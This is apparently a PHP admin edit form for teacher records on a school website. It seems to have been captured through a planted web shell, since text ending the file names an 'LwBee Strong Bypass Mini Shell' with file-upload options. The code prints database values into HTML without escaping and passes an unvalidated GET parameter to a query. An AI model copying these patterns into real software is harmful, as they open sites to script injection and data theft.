/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/teacher_edit.php
<?php
 include('include/header.php'); 
if(!empty($_GET['edit']))
{
    $teachers_data = teachers_data($_GET['edit']);
    $row = mysqli_fetch_array($teachers_data);
}
 
?>
<main id="main" class="main">

<div class="pagetitle">
  <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item active">Teacher</li>
    </ol>
  </nav>
</div>
<section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Add Teacher</h5>

<?php

   if(!empty($_POST['submit'])){
   	
    teacher_update();
}
 
?>



    <form  method="post" enctype="multipart/form-data"> 
      <div class="row">
      
     
        
         
         <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Name</label>
            <input type="text" class="form-control" id="Name" value="<?= $row['name']?>" name="Name" required placeholder="Enter Name">
            
        </div>

        <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Designation</label>
            <input type="text" class="form-control" value="<?= $row['designation']?>" id="designation" name="designation" required placeholder="Enter Designation">
            
        </div>
      
      
          <div class="col-md-8 mt-4">
            <label for="exampleInputEmail1" class="form-label">Image</label>
            <img src="<?= $row['image']?>" width="60px;">
            <input type="file" class="form-control" id="image" name="image">
            <input type="hidden" name="file_image" value="<?= $row['image']?>">
            
        </div>

       <input type="hidden" value="<?= $row['id']?>" name="edit_data">
         
       
        <div class="mt-4">
        <input type="submit" class="btn btn-primary" value="Edit" name="submit">
        </div> 
    </div>
    </form>
    

     </div>
          </div>

        </div>
      </div>
    </section>
  
   

</main><!-- End #main --> 

<!-- <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> -->

  
 <script>
       function confirmDelete(feeid)
       {
        
          if (feeid != '') {
            var x = confirm('Are you sure to Delete?');
            if(x){
          $.ajax({
            url : "delete.php",
            data :  {feeid : feeid},
            type : 'POST',
            success : function(response) {
              if(response ==1){
                window.location.href = "fee_type.php";
              }
                
               
            }
        });
        
       }
     }
     }
    </script>
 <?php include('include/footer.php'); ?>

 <script src="https://cloud.tinymce.com/5/tinymce.min.js"></script>
<script>
tinymce.init({
selector: '.textarea-tiny',
height: 500,
menubar: false,
width: '100%',
plugins: [
// 'advlist autolink lists link image charmap print preview anchor textcolor',
// 'searchreplace visualblocks code fullscreen',
// 'insertdatetime media table paste code help wordcount'
'advlist autolink lists link image charmap print preview hr anchor pagebreak',
'searchreplace wordcount visualblocks visualchars code fullscreen',
'insertdatetime media nonbreaking save table contextmenu directionality',
'emoticons template paste textcolor colorpicker textpattern imagetools codesample toc'
],
toolbar: 'undo redo | formatselect | bold italic backcolor | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | removeformat | help',
image_advtab: true,
content_css: [
'//fonts.googleapis.com/css?family=Lato:300,300i,400,400i',
'//www.tiny.cloud/css/codepen.min.css'
]
});
</script>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File